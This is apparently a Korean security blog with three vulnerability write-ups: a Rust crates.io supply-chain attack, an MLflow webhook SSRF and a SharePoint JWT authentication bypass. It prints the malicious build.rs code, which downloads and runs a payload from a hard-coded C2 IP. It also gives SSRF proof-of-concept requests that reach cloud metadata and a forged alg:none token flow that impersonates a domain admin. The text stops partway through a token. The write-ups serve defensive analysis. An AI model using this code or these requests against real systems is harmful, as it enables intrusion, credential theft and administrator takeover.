꼰머의 보안공부

보안뉴스

[1] https://www.dailysecu.com/news/articleView.html?idxno=208331
[2] https://github.com/MSNightmare/FalconFlank
[3] https://github.com/MSNightmare/HardBreacher
[4] https://github.com/MSNightmare/ShieldBreak
[5] https://github.com/MSNightmare/RoguePlanet

1. 개요

- 26.08.20 Rust 패키지 저장소 crates.io에 arrayref, internment, append-only-vec 악성 버전 배포 [1][2][3][4][5]

- 악성 버전들은 proc-macro1이라는 타이포스쿼딩 의존성 (정상 크레이트 : proc-macro2) 추가

- 해당 악성 의존성은 Rust 빌드 스크립트(build.rs)를 악용해 개발자가 패키지를 빌드하기만 해도 백도어 스크립트 실행

- 이번 공격의 배후는 북한 정부의 지원을 받는 해킹 그룹 Sapphire Sleet 또는 UNC1069로 추정

- CVE-2026-77649 (internment, CVSS: 9.8), CVE-2026-77650 (append-only-vec, CVSS: 9.8), CVE-2026-77651 (arrayref, CVSS: 9.8) 할당 [6][7][8]

2. 상세내용

- 26.08.20 07:15 UTC proc-macro1이 악성 Crate라는 신고 접수

> Rust Security Response Team은 악성 페이로드를 다운로드하는 빌드 스크립트가 포함되어 있음을 확인

- 공격자는 Crate 관리자 계정 (droundy)을 탈취해 arrayref 정상 버전 0.3.5 ~ 0.3.9를 모두 yank (공개 취소)

> Cargo(러스트 빌드 시스템 및 패키지 매니저)는 사용자에게 "consider updating to a version that is not yanked" 경고를 띄우며, 이를 통해 악성 버전으로 업데이트 유도

> arrayref 소스 코드에 악성 코드를 추가한 것이 아닌 Cargo.toml에 proc-macro1 의존성 추가

> proc-macro1 1.0.107의 빌드 스크립트 build.rs에 배포지 및 C2 주소를 Base64 조각으로 구성한 뒤 빌드 시점에서 재조립하며, OS에 따라 서로다른 실행 함수 호출

> Cargo는 build.rs를 컴파일 시점에서 자동으로 호출해 실행하기 때문에 개발자가 패키지를 빌드하기만 해도 스크립트가 실행

// arrayref-0.3.10/Cargo.toml
[package]
name = "arrayref"
version = "0.3.10"
build = false

[dependencies.proc-macro1]
version = "1.0.107"

// proc-macro1-1.0.107/build.rs (quoted in rustsec/advisory-db#3161)
const SRC_URL_PARTS: &[&str] =
    &["aHR0cHM6Ly8=", "MjMuMjU0Lg==", "MTY1Lg==", "MTEyOg==", "OTA4OS8="]; # 23.254.165.112:9089
const END_URL_PARTS: &[&str] =
    &["MjMuMjU0Lg==", "MTY1Lg==", "MTEyOg==", "NDQz"]; # 23.254.165.112:443
    
// proc-macro1-1.0.107/build.rs (inside main)
let url = src_download_url();
let bytes = download_bytes(&url);

match std::env::consts::OS {
    "linux" | "macos" => run_unix_payload(bytes),
    "windows" => run_windows_payload(bytes),
    os => panic!("unsupported OS: {os}"),
}

- Linux 및 MacOS의 경우 다운받은 바이트를 /tmp/rust-setup에 저장하고 실행 권한을 준 뒤, 표준 입출력을 닫고 별도 프로세스로 실행

// proc-macro1-1.0.107/build.rs
fn run_unix_payload(bytes: Vec<u8>) {
    let path = PathBuf::from("/tmp/rust-setup");
    std::fs::write(&path, &bytes).expect("failed to write payload");
    Command::new("chmod").args(["+x", path_str]).status().expect("failed to run chmod");
    Command::new(&path)
        .arg(end_url())
        .stdin(Stdio::null())
        .stdout(Stdio::null())
        .stderr(Stdio::null())
        .spawn()
        .expect("failed to spawn payload");
}

- Windows의 경우 %TEMP%\rust-setup.ps1 PowerShell 스크립트와 %TEMP%\rust-setup-launch.vbs 실행기를 만든 다음, wscript.exe로 창을 띄우지 않고 실행 [9]

// proc-macro1-1.0.107/build.rs
// ShellExecute via WScript escapes Cargo's job object; spawned children otherwise
// keep the build script (and `cargo build`) waiting until they exit.
let vbs = format!(
    r#"CreateObject("Wscript.Shell").Run "powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -File ""{script}"" ""{end}""", 0, False"#,
    script = script_path.display(),
    end = end_url(),
);
// ...
let child = Command::new("wscript.exe")
    .args(["//B", "//Nologo", launcher_str])
    .creation_flags(CREATE_NO_WINDOW)
    .spawn()
    .expect("failed to spawn wscript launcher");
std::mem::forget(child);

2.1 2단계 페이로드 동작

- HTTP POST로 C2에 주기적인 접속 신호를 보내며, 탈취한 자격 증명을 Base64로 인코딩한 JSON 형태로 반출

> 시스템 정보 수집 : 호스트명, 사용자 정보, OS 정보, 설치된 애플리케이션 목록, 저장된 로그인 계정 정보, 확장 프로그램 데이터

> 원격 명령 실행 : kill(자가 종료), minicfg(C2 및 비콘 주기 재설정), startup(지속성 확보), runscript(PowerShell 또는 쉘 스크립트 다운로드 및 동기/비동기 실행)

> 지속성 유지 : Windows - Registry Run 키, Linux - systemd 사용자 서비스 등록, MacOS - LaunchAgent를 통해 지속성 유지

> 기본 C2에 연결할 수 없는 경우에 대비해 5일마다 10개의 .com 도메인을 생성하는 도메인 생성 알고리즘(DGA)

> 구성 정보(Configuration)는 하드코딩된 키 "i am botking"을 사용하여 AES-128-GCM으로 암호화

> 명령(Command)은 내장된 RSA-2048 개인 키를 사용하여 인증

2.2 북한의 공급망 공격과의 연관성

- arrayref가 사용하는 C2 경로, IP 주소, SSL 인증서 정보 및 호스팅 대역이 기존 북한 연계 캠페인·공격 인프라와 중복

3. 대응방안

4. 참고

[1] https://blog.rust-lang.org/2026/08/20/supply-chain-attack-on-arrayref/
[2] https://safedep.io/arrayref-proc-macro1-rust-build-time-malware/
[3] https://github.com/rustsec/advisory-db/issues/3161
[4] https://www.wiz.io/blog/rust-supply-chain-attack-on-arrayref-significant-overlap-with-dprk-campaigns
[5] https://www.skshieldus.com/security-insights/trends/eqstnow-arrayref-rust-crate-supply-chain-attack
[6] https://nvd.nist.gov/vuln/detail/cve-2026-77649
[7] https://nvd.nist.gov/vuln/detail/cve-2026-77650
[8] https://nvd.nist.gov/vuln/detail/cve-2026-77651
[9] https://gist.github.com/marius-benthin/273aa302ac9fb36e1c309a9479c5a8cf
[10] https://www.microsoft.com/en-us/security/blog/2026/06/17/postinstall-payload-inside-mastra-npm-supply-chain-compromise/
[11] https://cloud.google.com/blog/topics/threat-intelligence/north-korea-threat-actor-targets-axios-npm-package?hl=en
[12] https://news.hada.io/topic?id=32711
[13] https://thehackernews.com/2026/08/rust-supply-chain-attack-puts-build.html

보안뉴스

[1] https://www.dailysecu.com/news/articleView.html?idxno=208227

[2] https://openai.com/ko-KR/index/hugging-face-incident-and-the-road-ahead/

1. MLflow

- 오픈소스 머신러닝 라이프사이클 플랫폼 [1]

2. 취약점

- MLflow Webhook 기능에서 최초 URL만 검증하고 실제 연결 시 목적지 IP를 고정하거나 Redirect 대상의 주소를 재검증하지 않아, HTTP Redirect 및 DNS Rebinding을 통해 검증을 우회하고 내부 주소에 접근할 수 있는 SSRF 취약점 (CVSS: 9.3) [3]

> CVE 등록 후 수 시간 만에 인터넷에 공개된 MLflow 시스템을 대상으로 한 공격 시도 확인

> 공격자는 취약점을 악용해 내부 네트워크 또는 클라우드 메타데이터 서비스에 접근해 IAM 자격증명 등 민감 정보 탈취

영향받는 버전
- MLflow 3.15.0 미만 버전

- 해당 취약점은 3가지 요소의 결합으로 인해 발생

① Webhook 인증 검증 부재

- MLflow의 기본 웹훅 인증 검증 로직(WEBHOOK_BEFORE_REQUEST_HANDLERS)은 플러그인 형태로 존재 [4]

> 기본 구성에서는 활성화되어 있지 않기 때문에, 인증 없이 Webhook 등록 및 테스트 요청이 가능

※ Webhook : 특정 이벤트가 발생할 때 서버가 미리 정의된 URL로 데이터를 전송하는 방식 [5]

② 검증 시점과 사용 시점의 분리

- mlflow/utils/validation.py의 _validate_webhook_url()는 호스트의 IP가 공인 IP인지 확인 [6]

> 하지만, 이 시점에서 검증된 IP가 실제 네트워크 연결 시 고정(Pin)되지 않아 검증 시점과 실제 사용 시점 사이에 목적지 IP가 변경될 수 있음

def _validate_webhook_url(url: str) -> None:
	schemes = _MLFLOW_WEBHOOK_ALLOWED_SCHEMES.get()        # default ["https"]
	if parsed_url.scheme not in schemes: raise ...
	if not _MLFLOW_WEBHOOK_ALLOW_PRIVATE_IPS.get():        # default False
		for addr_info in socket.getaddrinfo(hostname, None):
			ip = ipaddress.ip_address(addr_info[4][0])
			if not ip.is_global: raise ...                 # blocks RFC1918/loopback/link-local/metadata

③ HTTP Redirect 재검증 미흡

- mlflow/webhooks/delivery.py의 _create_webhook_session()은 일반적인 HTTPAdapter를 사용하여 HTTP Session을 생성하며, 실제 연결 대상의 IP를 고정하거나 검증하지 않음 [7]

- _send_webhook_request()에서 session.post() 호출 전 최초 webhook.url에 대해 _validate_webhook_url() 검증을 수행하지만, 이후 Requests가 처리하는 Redirect 대상 URL에 대해서는 재검증을 수행하지 않음 [8]

def _create_webhook_session():
    adapter = HTTPAdapter(max_retries=retry_strategy)  # retry only; no IP pinning
    ...
def _send_webhook_request(webhook, payload, event, session):
    _validate_webhook_url(webhook.url)                 # re-validates the ORIGINAL url only
    return session.post(webhook.url, data=payload_bytes, headers=headers, timeout=timeout)
    # no allow_redirects=False  -> 302 followed; redirect Location never re-validated

2.1 PoC

- 공격자는 공인 IP로 해석되는 공격자 제어 서버를 Webhook URL로 등록하고 webhook_id 획득

> 공격 대상 서버의 요청 수신 시 내부 네트워크(169.254.169.254 등)를 대상으로 한 Redirect 반환

POST /api/2.0/mlflow/webhooks HTTP/1.1
Host: {{TARGET}}
Content-Type: application/json

{"name":"poc","url":"https://{{ATTACKER}}/innocent","events":[{"entity":"REGISTERED_MODEL","action":"CREATED"}]}

-> 200 {"webhook":{"webhook_id":"<WEBHOOK_ID>", ... ,"status":"ACTIVE"}}

- 이후 공격자는 획득한 webhook_id를 이용해 공격 대상 서버의 Webhook Test API로 POST 요청 전송 [9][10]

> 해당 취약점은 Redirect 상태 코드에 따라 공격 결과가 달라짐

① 302 Redirect : 일반적으로 후속 요청이 GET으로 전환되어 Cloud Metadata 또는 내부 HTTP 서비스의 응답을 읽을 수 있음

② 307 및 308 Redirect : 원래 HTTP Method와 Body를 유지하여 내부 관리 서비스에 POST 요청을 전달하는 공격으로 확장

POST /api/2.0/mlflow/webhooks/<WEBHOOK_ID>/test HTTP/1.1
Host: {{TARGET}}
Content-Type: application/json

{"webhook_id":"<WEBHOOK_ID>","event":{"entity":"REGISTERED_MODEL","action":"CREATED"}}

-> 200 {"result":{"success":true,"response_status":200,
        "response_body":"<contents of http://169.254.169.254/latest/meta-data/... fetched by the server>"}}

3. 대응방안

- 벤더사 제공 업데이트 적용 [11][12][13][14]

> ① 실제 Peer IP 검증 ② Webhook Session 적용 ③ Redirect/DNS Rebinding 차단 ④ Proxy 우회 방지 ⑤ 회귀 테스트 추가

- 사용하지 않는 웹훅 기능 및 외부 접근 경로 제한

- 서버 접근 로그 및 웹훅 관련 요청 기록 점검 : 비정상적인 외부 URL 등록, 리다이렉션 요청, 클라우드 메타데이터 주소 접근 흔적 등

- 클라우드 IAM 키, API 토큰, 서비스 계정 자격증명, 비밀정보 교체

4. 참고

[1] https://mlflow.org/
[2] https://nvd.nist.gov/vuln/detail/CVE-2026-64849
[3] https://github.com/advisories/GHSA-7gwp-5pfp-969j
[4] https://github.com/mlflow/mlflow/blob/86cd7f5a1dc25a1387ad07c87811bbc30f62951c/mlflow/server/auth/__init__.py#L2729
[5] https://velog.io/@bm1201/Webhook
[6] https://github.com/mlflow/mlflow/blob/86cd7f5a1dc25a1387ad07c87811bbc30f62951c/mlflow/utils/validation.py#L889
[7] https://github.com/mlflow/mlflow/blob/86cd7f5a1dc25a1387ad07c87811bbc30f62951c/mlflow/webhooks/delivery.py#L67
[8] https://github.com/mlflow/mlflow/blob/86cd7f5a1dc25a1387ad07c87811bbc30f62951c/mlflow/webhooks/delivery.py#L136
[9] https://mlflow.org/docs/latest/api_reference/rest-api.html?utm_source=chatgpt.com#test-webhook
[10] https://mlflow.org/docs/latest/api_reference/rest-api.html?utm_source=chatgpt.com#mlflowwebhooktestresult
[11] https://github.com/mlflow/mlflow/issues/24179
[12] https://github.com/mlflow/mlflow/pull/24258
[13] https://github.com/mlflow/mlflow/commit/ba949522477cbd5915aa55d29b0cfad7d5ddf939
[14] https://www.boho.or.kr/kr/bbs/view.do?searchCnd=&bbsId=B0000133&searchWrd=&menuNo=205020&pageIndex=1&categoryCode=&nttId=72166
[15] https://www.dailysecu.com/news/articleView.html?idxno=208103

1. Microsoft SharePoint

- 조직이 문서를 안전하게 저장, 구성, 공유하고 함께 일할 수 있는 웹 기반 협업 및 문서 관리 플랫폼 [1]

2. 취약점

- SharePoint의 인증에 사용되는 JWT 토큰 유효성 검사 파이프라인의 여러 검증 절차의 취약점이 결합되어, 조작된 JWT 토큰으로 인증을 우회하고 관리자 권한으로 작업할 수 있는 인증 우회 취약점 (CVSS: 9.1)
> 취약점에 대한 상세 분석과 PoC가 공개된 직후 실제 공격이 관찰되어 신속한 보안 업데이트 적용 필요 [3][4]

영향받는 버전
- SharePoint Enterprise Server 2016 : 16.0.5561.1001 미만
- SharePoint Server 2019 : 16.0.10417.20175 미만
- SharePoint Server Subscription Edition : 16.0.19725.20434 미만

2.1 상세 분석

- SharePoint의 S2S 인증(Server-to-Server Authentication)은 사용자 식별 정보를 포함하는 외부 JWT와 호출 애플리케이션을 나타내는 Actor Token으로 구성된 중첩된 JWT 구조를 사용
> 내부 Actor Token의 경우 신뢰할 수 있는 인증서에 의해 서명되어야 함
> SharePoint는 요청의 Bearer 토큰을 파싱한 뒤 SPJsonWebSecurityBaseTokenHandlerV2.ReadToken() 및 SPJsonWebSecurityTokenHandlerV2.ValidateToken()의 검증 로직을 통해 해당 정보를 검증

① JWT 검증 조건 비활성화

- 첫 번째 문제는 SPJsonWebSecurityTokenHandlerV2.ValidateToken()에 존재
> (1)(2) JWT aud 클레임(토큰의 수신자)과 iss 클레임(토큰의 발급자)의 유효성 검사 비활성화 [5][6][7]
> (3) 토큰의 암호화 서명을 검증하지 않도록 설정하며, 해당 값이 false인 경우 서명이 없는 토큰 또는 alg : none 헤더를 가진 토큰을 허용 [8]
> 따라서, 서명 검증에 사용할 알고리즘(alg)를 none으로 설정하여 서명 검증을 생략하므로, 공격자가 외부 토큰 헤더에 alg : none이 포함된 JWT를 전송해 서명 검증을 우회할 수 있음 [9]

// SPJsonWebSecurityTokenHandlerV2.cs - Lines 165-223
public override ReadOnlyCollection<ClaimsIdentity> ValidateToken(SecurityToken token)
{
    // ...
    TokenValidationParameters val = new TokenValidationParameters();
    val.CertificateValidator = ((SecurityTokenHandler)(object)this).Configuration.CertificateValidator;
    val.SaveSigninToken = ((SecurityTokenHandler)(object)this).Configuration.SaveBootstrapContext;
    val.ValidateAudience = false; // <--- (1)
    val.ValidateIssuer = false; // <--- (2)
    List<X509SecurityKey> list = new List<X509SecurityKey>();
    // ... populates list with trusted signing keys ...
    val.IssuerSigningKeys = (IEnumerable<SecurityKey>)list;
    val.RequireSignedTokens = false; // <--- (3)
    // ...
    SecurityToken securityToken = default(SecurityToken);
    return new ReadOnlyCollection<ClaimsIdentity>(
        ((JwtSecurityTokenHandler)this).ValidateToken(
            ((JwtSecurityToken)sPJwtSecurityToken).RawData, val, ref securityToken
        ).Identities.ToList()
    );
}

② 서명 검증 없이 Actor Token의 x5t를 이용한 서명 키 확인

- ReadToken()으로 JWT 구문 분석 후 SharePoint는 x5t(X.509 인증서의 thumbprint) 헤더를 사용해 Actor 토큰의 서명 키를 확인
> (1) Actor 토큰의 JWT 헤더에서 x5t 값을 직접 추출

// SPJsonWebSecurityBaseTokenHandlerV2.cs - Lines 92-103
SecurityKeyIdentifier signingKeyIdentifier = GetSigningKeyIdentifier(sPJwtSecurityToken.ActorToken); // <--- (1)
((SecurityTokenHandler)this).Configuration.IssuerTokenResolver.TryResolveToken(
    signingKeyIdentifier, out var token2); // <--- (2)
if (token2 != null)
{
    ((JwtSecurityToken)sPJwtSecurityToken.ActorToken).SigningToken = token2; // <--- (3)
}

// SPJsonWebSecurityBaseTokenHandlerV2.cs - GetSigningKeyIdentifier - Lines 135-160
private SecurityKeyIdentifier GetSigningKeyIdentifier(SPJwtSecurityToken jwtToken)
{
    JwtHeader header = ((JwtSecurityToken)jwtToken).Header;
    // ...
    if (string.Equals(header.Alg, "RS256"))
    {
        if (!((Dictionary<string, object>)(object)header).TryGetValue("x5t", out object value))
        {
            throw new SecurityTokenException("Invalid JWT token. Not able to find SigningKeyIdentifier...");
        }
        securityKeyIdentifierClause = new X509ThumbprintKeyIdentifierClause(
            SPBase64UrlEncoder.DecodeBytes(value as string)); // <--- attacker-controlled x5t
    }
    // ...
}

- (2) SPIssuerTokenResolver.TryResolveTokenCore 호출해 SharePoint 자체 STS(Secure Token Service)를 포함한 모든 신뢰할 수 있는 인증서를 검색해 thumbprint가 일치하는 인증서를 찾음
> (4) 리졸버는 LocalLoginProvider 액세스 공급자, 즉 SharePoint 자체 STS 서명 인증서를 확인
> 자체 인증서는 /_layouts/15/metadata/json/1 엔드포인트를 통해 획득 가능하며, 이후 (3) Actor 토큰의 SigningToken 속성에 할당
> 따라서, 공격자는 /_layouts/15/metadata/json/1 엔드포인트를 통해 자체 STS 인증서의 thumbprint를 획득하여 x5t 값으로 설정할 수 있음

// SPIssuerTokenResolver.cs - TryResolveTokenCore - Lines 118-142
protected override bool TryResolveTokenCore(SecurityKeyIdentifierClause keyIdentifierClause, out SecurityToken token)
{
    // ... searches TrustedLoginProviders, TrustedSecurityTokenServices ...
    if (TryResolveTokenCoreWithAccessProvider(local.LocalLoginProvider, keyIdentifierClause, out token)) // <--- (4)
    {
        return true;
    }
    return false;
}

③ 미등록 서명 인증서에 대한 발급자 검증 우회

- Actor 토큰의 SigningToken을 설정한 후 ValidateIssuer(token)을 호출
> SigningToken이 설정된 Actor 토큰의 경우 ValidateIssuer(X509SecurityToken, string)가 호출

// SPJsonWebSecurityBaseTokenHandlerV2.cs - ValidateIssuer(SPJwtSecurityToken) - Lines 745-750
if (token.ActorToken != null && ((JwtSecurityToken)token.ActorToken).SigningToken != null)
{
    ULS.SendTraceTag(573368525u, ..., "Validating the actor token's signing token.");
    ValidateIssuer(((JwtSecurityToken)token.ActorToken).SigningToken as X509SecurityToken,
                   ((JwtSecurityToken)token.ActorToken).Issuer);
    return;
}

- (1) 서명 인증서가 일치하는 제공자를 TrustedSecurityTokenServices에서 찾음
> SharePoint의 로컬 STS 서명 인증서는 LocalLoginProvider에 속하므로, null을 반환
> (2) providerBySigningCertificate는 null이기 때문에 공격자는 발급자 유효성 검사 통과

// SPJsonWebSecurityBaseTokenHandlerV2.cs - Lines 788-812
private void ValidateIssuer(X509SecurityToken signingKey, string tokenIssuer)
{
    // ...
    SPTrustedSecurityTokenService providerBySigningCertificate =
        SPSecurityTokenServiceManager.LocalOrThrow.TrustedSecurityTokenServices
            .GetProviderBySigningCertificate(signingKey.Certificate, tokenIssuer); // <--- (1)

    if (null == providerBySigningCertificate) // <--- (2)
    {
        ULS.SendTraceTag(594416645u, ..., "ValidateTokenIssuer accepted Issuer '{0}' because " +
            "no registered STS matches the signing certificate '{1}'",
            tokenIssuer, signingKey.Certificate.Subject);
        return; // <--- ACCEPTED
    }
    if (SPTrustedProviderBase.IssuerNameMatches(tokenIssuer, providerBySigningCertificate.RegisteredIssuerName))
    {
        return;
    }
    throw new SecurityTokenException("Issuer name is not registered"); // <--- REJECTED
}

④ GetTokenSignature에서 실제 서명 검증 없이 서명 값의 존재 여부만 확인

- 유효성 검증 최종 단계는 세션 토큰 생성 시 호출되는 GetTokenSignature를 포함
> (1) alg : none을 사용하는 외부 토큰의 경우 RawSignature는 마지막 점 뒤 아무 값도 없으므로 빈 문자열을 반환하고, (3) Actor 토큰의 서명이 유효한 RSA 서명인지에 대한 검증 없이 서명을 반환

// SPJsonWebSecurityBaseTokenHandlerV2.cs - Lines 879-920
public static string GetTokenSignature(SPJwtSecurityToken jwtToken)
{
	SPArgumentHelperV2.LogAndThrowOnNull(TaggingUtilities.ReserveTag(591196938u), ULSCat.msoulscat_WSS_SecurityTokenHandler, "jwtToken", jwtToken);
	string rawData = ((JwtSecurityToken)jwtToken).RawData;
	if (string.IsNullOrWhiteSpace(rawData) && string.IsNullOrWhiteSpace(((JwtSecurityToken)jwtToken).RawSignature))
	{
		ULS.SendTraceTag(591196937u, ULSCat.msoulscat_WSS_SecurityTokenHandler, ULSTraceLevel.Unexpected, "The SPJwtSecurityToken doesn't have a signature.");
		throw new InvalidOperationException(SPResource.GetString(CultureInfo.InvariantCulture, "NullBootstrapToken"));
	}
	string text = ((JwtSecurityToken)jwtToken).RawSignature;
	if (string.IsNullOrWhiteSpace(text))
	{
		text = rawData.Substring(rawData.LastIndexOf('.') + 1); // <--- [1]
	}
	if (string.IsNullOrWhiteSpace(text))
	{
		if (jwtToken.ActorToken != null)
		{
			text = GetTokenSignature(jwtToken.ActorToken); // <--- [2]
			StringBuilder stringBuilder = new StringBuilder();
			stringBuilder.Append(jwtToken.Audience);
			stringBuilder.Append(',');
			stringBuilder.Append(((System.IdentityModel.Tokens.SecurityToken)(object)jwtToken).ValidFrom.ToFileTimeUtc());
			stringBuilder.Append(',');
			stringBuilder.Append(((System.IdentityModel.Tokens.SecurityToken)(object)jwtToken).ValidTo.ToFileTimeUtc());
			stringBuilder.Append(',');
			foreach (Claim claim in ((JwtSecurityToken)jwtToken).Claims)
			{
				stringBuilder.Append(claim.Value);
				stringBuilder.Append(',');
			}
			return stringBuilder?.ToString() + text; // <--- [3]
		}
		ULS.SendTraceTag(573368524u, Category, ULSTraceLevel.Unexpected, "SPJsonWebSecurityBaseTokenHandlerV2: ActorToken doesn't have a signature.");
		throw new InvalidOperationException(SPResource.GetString(CultureInfo.InvariantCulture, "NullBootstrapToken"));
	}
	return text;
}

- 취약점은 다음 네 가지 약점이 조합되어 발생
① 외부 헤더에 alg : none이 포함된 JWT를 전송하므로 외부 토큰에 서명이 필요하지 않음
② Actor 토큰의 x5t 헤더에는 SharePoint 자체의 STS 인증서 지문이 포함되어 있어 검증 없이 서명 키를 확인 가능
③ TrustedSecurityTokenServices 에 없으므로 발급자가 승인
④ Actor 토큰의 서명은 AAAA와 같은 비어 있지 않은 임의의 값이며, 암호학적으로 검증되지 않음

2.2 악용 흐름

- 공격자는 먼저 GET  /_layouts/15/metadata/json/1 요청을 통해  대상 SharePoint 사이트에서 STS 서명 인증서의 x509 인증서를 획득

[요청 예시]
GET /_layouts/15/metadata/json/1 HTTP/1.1
Host: 192.168.86.11
User-Agent: curl/7.81.0
Accept: */*

[응답 예시]
HTTP/1.1 200 OK
...
{"issuer":"00000003-0000-0ff1-ce00-000000000000@af90cc03-4a26-45e9-906a-609cebcebbde","keys":[{"keyValue":{"type":"x509certificate","value":"MIIEhzCCAm+gAwIBAgIQbgEQC4zI97pMh7WkdsMmtTANBgkqhkiG9w0BAQsFADBaMQswCQYDVQQGEwJVUzESMBAGA1UEChMJTWljcm9zb2Z0MRMwEQYDVQQLEwpTaGFyZVBvaW50MSIwIAYDVQQDExlTaGFyZVBvaW50IFJvb3QgQXV0aG9yaXR5MCAXDTI2MDMxMTIwMjY1M1oYDzk5OTkwMTAxMDAwMDAwWjBiMQswCQYDVQQGEwJVUzESMBAGA1UEChMJTWljcm9zb2Z0MRMwEQYDVQQLEwpTaGFyZVBvaW50MSowKAYDVQQDEyFTaGFyZVBvaW50IFNlY3VyaXR5IFRva2VuIFNlcnZpY2UwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDY8RNv0VUdgmBubMAHYBI8nu1pWUwUDJywDIwKxgoLuu26Wd6tTMnk5Fb7kYVT+gw+wdW80DeOU\/9lAySKat+FESEuwoUKbJP1Kk6vbuvWyYofz91i9oCXXzqAR1AwNsMGr1nAszVRbPaTrcidomvT2DzQ4YBW2IGtDJEpXIcSrN4T5B4bNH+2rXk11vZHG7c31Y\/VuAwybLGndwSYoiT8aTOgnHsEB9jqZjipkinwnowhk1d6LsPawm6X+y8z7SqkVgMdqKVB5gAMECUedv0qGd2+AW\/2j8Dbk3NNW3XddCBye2wQP0GeioQjcveDK4U0n+3qJjOwG0Y4\/7Jex\/IVAgMBAAGjPzA9MA4GA1UdDwEB\/wQEAwIFoDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH\/BAIwADANBgkqhkiG9w0BAQsFAAOCAgEAPXw7TdU6U9ij28uirUm4oQk6Qtdx42G8JNkz44oF4s1ifaODLKqgXCViHRo0bJj3KAz1aSWUdld\/wrOw99tbxPme9sd8ilHN61fKjUPzl7NMyA85895FnA5J62sKcPjmusDHD1WjSYA+y47L\/I3qlUCL9nOPhqjHN4bEQYJV7c9X+9lmnK1QBmqtjQ+Dy8tie6B9XKvSZgb8clVc7pXeG3k4eqNqi8AtgLoW6UmT\/7tXzqotC9oyBmeA3Ucaj99HJ\/4zBN7cOjIL78xNYds8DIVEqGqZFL30uOvJnEecAmtHbMg5yX2oO0p11PSM+JVIiC7gWClfaZ0Ta0tLG5VdmX0wfzmxS+jBEFqvFUA3BFuClQeamKdvIBE7cFXG\/MujpCboiLP0qdZUhGUduFiy94vH0oxKQFZVLT62T4cNbMu0WGGOY67N8p9UKzUvLVis0FnR1nQvy4SJSdt4kBzUUA42z70v\/ACpzHLXsETil+MnGbTXMfEGVzl+s2+9Su4OpTtDe8AIMdDPoH8uaHklLF65FUPKa+aHGlTB9VPyYySC++PCIPIra\/uxjb21V+GBPU8YgbFsOiCNF36AcGakskieghg97EBHumzQuoPnnvCkkRr2\/xU59Yxw01eS42pfVNeJlXDGKwEtAiN1Fwkay2Ji7dq\/wXtFy5OsVBlerec="},"usage":"Signing"}],"name":"00000003-0000-0ff1-ce00-000000000000","serviceName":"00000003-0000-0ff1-ce00-000000000000"}

- x5t를 계산(예시의 x5t 값 : i_gz5qfYp5YPWAK1__0YhZnipLI)하고, 임의의 비어 있지 않은 서명을 포함한 조작된 JWT 토큰 구성 및 base64로 인코딩하여 Bearer 토큰 생성
> 공격자는 외부 토큰에 alg:none을 지정하고, 내부 Actor Token에는 STS 인증서의 x5t와 검증되지 않는 임의의 서명을 지정

[외부 토큰 헤더]
{"alg": "none", "typ": "JWT"}

[외부 페이로드]
{
  "aud": "00000003-0000-0ff1-ce00-000000000000/win-b0i6kv698ls@af90cc03-4a26-45e9-906a-609cebcebbde",
  "iss": "00000003-0000-0ff1-ce00-000000000000@af90cc03-4a26-45e9-906a-609cebcebbde",
  "nbf": 1776765672,
  "exp": 1776769572,
  "nameid": "S-1-5-21-4203888158-2793536450-3921675298-500",
  "nii": "urn:office:idp:activedirectory",
  "trustedfordelegation": "true",
  "actortoken": "eyJhbGciOiAiUlMyNTYiLCAidHlwIjogIkpXVCIsICJ4NXQiOiAiaV9nejVxZllwNVlQV0FLMV9fMFloWm5pcExJIn0.eyJpc3MiOiAiMDAwMDAwMDMtMDAwMC0wZmYxLWNlMDAtMDAwMDAwMDAwMDAwQGFmOTBjYzAzLTRhMjYtNDVlOS05MDZhLTYwOWNlYmNlYmJkZSIsICJuYW1laWQiOiAiMDAwMDAwMDMtMDAwMC0wZmYxLWNlMDAtMDAwMDAwMDAwMDAwQGFmOTBjYzAzLTRhMjYtNDVlOS05MDZhLTYwOWNlYmNlYmJkZSIsICJuYmYiOiAxNzc2NzY1NjcyLCAiZXhwIjogMTc3Njc2OTU3Mn0.AAAA"
}

// audience(aud) 클레임 : 토큰의 대상을 식별
// issuer(iss) 클레임 : 토큰의 발급자를 식별 (00000003-0000-0ff1-ce00-000000000000 : 알려진 SharePoint 보안 주체 애플리케이션 ID)
// Name ID(nameid) : 토큰의 주체(사용자)를 식별하기 위한 고유 ID를 나타내는 클레임 (S-1-5-21-4203888158-2793536450-3921675298-500 : 도메인 관리자)

[내부 토큰 헤더]
{"alg": "RS256", "typ": "JWT", "x5t": "i_gz5qfYp5YPWAK1__0YhZnipLI"}

// x5t : SharePoint 서버의 STS 서명 인증서에 해당하는 x5t 값

[내부 페이로드]
{
  "iss": "00000003-0000-0ff1-ce00-000000000000@af90cc03-4a26-45e9-906a-609cebcebbde",
  "nameid": "00000003-0000-0ff1-ce00-000000000000@af90cc03-4a26-45e9-906a-609cebcebbde",
  "nbf": 1776765672,
  "exp": 1776769572
}

※ Bear Token 참고

eyJhbGciOiAibm9uZSIsICJ0eXAiOiAiSldUIn0.eyJhdWQiOiAiMDAwMDAwMDMtMDAwMC0wZmYxLWNlMDAtMDAwMDAwMDAwMDAwL3dpbi1iMGk2a3Y2OThsc0BhZjkwY2MwMy00YTI2LTQ1ZTktOTA2YS02MDljZWJjZWJiZGUiLCAiaXNzIjogIjAwMDAwMDAzLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMEBhZjkwY2MwMy00YTI2LTQ1ZTktOTA2YS02MDljZWJjZWJiZGUiLCAibmJmIjogMTc3Njc2NTY3MiwgImV4cCI6IDE3NzY3Njk1NzIsICJuYW1laWQiOiAiUy0xLTUtMjEtNDIwMzg4ODE1OC0yNzkzNTM2NDUwLTM5MjE2NzUyOTgtNTAwIiwgIm5paSI6ICJ1cm46b2ZmaWNlOmlkcDphY3RpdmVkaXJlY3RvcnkiLCAidHJ1c3RlZGZvcmRlbGVnYXRpb24iOiAidHJ1ZSIsICJhY3RvcnRva2VuIjogImV5SmhiR2NpT2lBaVVsTXlOVFlpTENBaWRIbHdJam9nSWtwWFZDSXNJQ0o0TlhRaU9pQWlhVjluZWpWeFpsbHdOVmxRVjBGTE1WOWZNRmxvV201cGNFeEpJbjAuZXlKcGMzTWlPaUFpTURBd01EQXdNRE10TURBd01DMHdabVl4TFdObE1EQXRNREF3TURBd01EQXdNREF3UUdGbU9UQmpZekF6TFRSaE1qWXRORFZsT1MwNU1EWmhMVFl3T1dObFltTmxZbUprWlNJc0lDSnVZVzFsYVdR